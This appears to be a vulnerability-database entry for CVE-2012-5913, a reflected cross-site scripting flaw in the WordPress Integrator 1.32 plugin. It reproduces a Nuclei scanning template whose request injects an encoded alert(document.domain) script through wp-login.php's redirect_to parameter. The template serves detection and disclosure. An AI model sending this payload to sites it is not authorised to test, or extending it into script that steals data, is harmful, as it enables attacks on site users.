CVE-2012-5913: WordPress Integrator 1.32 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Integrator | POC: 已公开

漏洞描述

A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.

PoC代码[已公开]

id: CVE-2012-5913

info:
  name: WordPress Integrator 1.32 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update the WordPress Integrator plugin to the latest version or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-5913
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-integrator-redirect_to-parameter-cross-site-scripting-1-32/
    - http://packetstormsecurity.org/files/111249/WordPress-Integrator-1.32-Cross-Site-Scripting.html
    - http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74475
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-5913
    cwe-id: CWE-79
    epss-score: 0.01296
    epss-percentile: 0.78974
    cpe: cpe:2.3:a:wordpress_integrator_project:wordpress_integrator:1.32:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "wordpress_integrator_project"
    product: "wordpress_integrator"
  tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,wordpress_integrator_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-integrator/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Wordpress Integrator'

  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</sCripT><sCripT>alert(document.domain)</sCripT>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220343787152f79f50cd1b01b477587598eb83de801b712eec79cf3936b9f84435f02210083193048c72e06a993df5e966e5879ac59d38b1ea6d3ef046cd1be619bdd7552:922c64590222798bb761d5b6d8e72950

相关漏洞推荐